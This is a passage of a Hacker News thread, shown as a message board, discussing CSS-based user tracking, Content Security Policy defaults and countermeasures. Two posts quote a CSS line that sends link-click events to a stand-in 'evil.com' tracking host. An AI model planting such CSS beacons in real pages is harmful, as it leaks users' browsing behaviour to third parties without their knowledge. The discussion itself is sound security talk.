Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Tracking Users with CSS (2018)

templarbit.com

Post reply on HN
Print view View original

11–18 of 18 posts

Re: Tracking Users with CSS (2018)

#11

Post by wongarsu »

saagarjha wrote: post #5

This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have. Also, as an aside: > For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows I’m…

There are multiple sites that allow users to set custom CSS. Consider for example subreddit styles on reddit or the customisation of Tumblr pages.

One big selling point for CSS was to separate layout and content exactly to allow other people to write CSS.

Re: Tracking Users with CSS (2018)

#12

Post by IggleSniggle »

javajosh wrote: post #10
saagarjha wrote: post #5

This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have. Also, as an aside: > For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows I’m…

You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url(" https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?

Depends on the Content Security Policy of the site.

Re: Tracking Users with CSS (2018)

#13

Post by javajosh »

IggleSniggle wrote: post #12
javajosh wrote: post #10

Earlier quoted context omitted.

You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url(" https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?

Depends on the Content Security Policy of the site.

Yes, of course - but what is the default if you don't have a CSP? I guess I will have to do the experiment.

Re: Tracking Users with CSS (2018)

#17

Post by IggleSniggle »

javajosh wrote: post #13
IggleSniggle wrote: post #12

Earlier quoted context omitted.

Depends on the Content Security Policy of the site.

Yes, of course - but what is the default if you don't have a CSP? I guess I will have to do the experiment.

Apologies, wasn't trying to be snarky. If you are configured to allow resources to load from anywhere, the CSS can load a resource from anywhere, not just the location it originated from. These kinds of configurations are increasingly less the default, however, so depending your specific setup, you may find that some origin policies are in place by default. This is entirely dependent on your chain, however, including browser settings.

Re: Tracking Users with CSS (2018)

#18

Post by Tepix »

DaiPlusPlus wrote: post #6
Tepix wrote: post #4

I like the idea of loading all linked content at page load time.

That’s bad for mobile - especially if a website has really large images for high-DPI devices. I think you can configure some mobile browsers to always download low-DPI assets to save on bandwidth.

You could make it optional. Right now there's almost nothing you can do when you visit a site even if you know it uses this technique.
Post reply on HN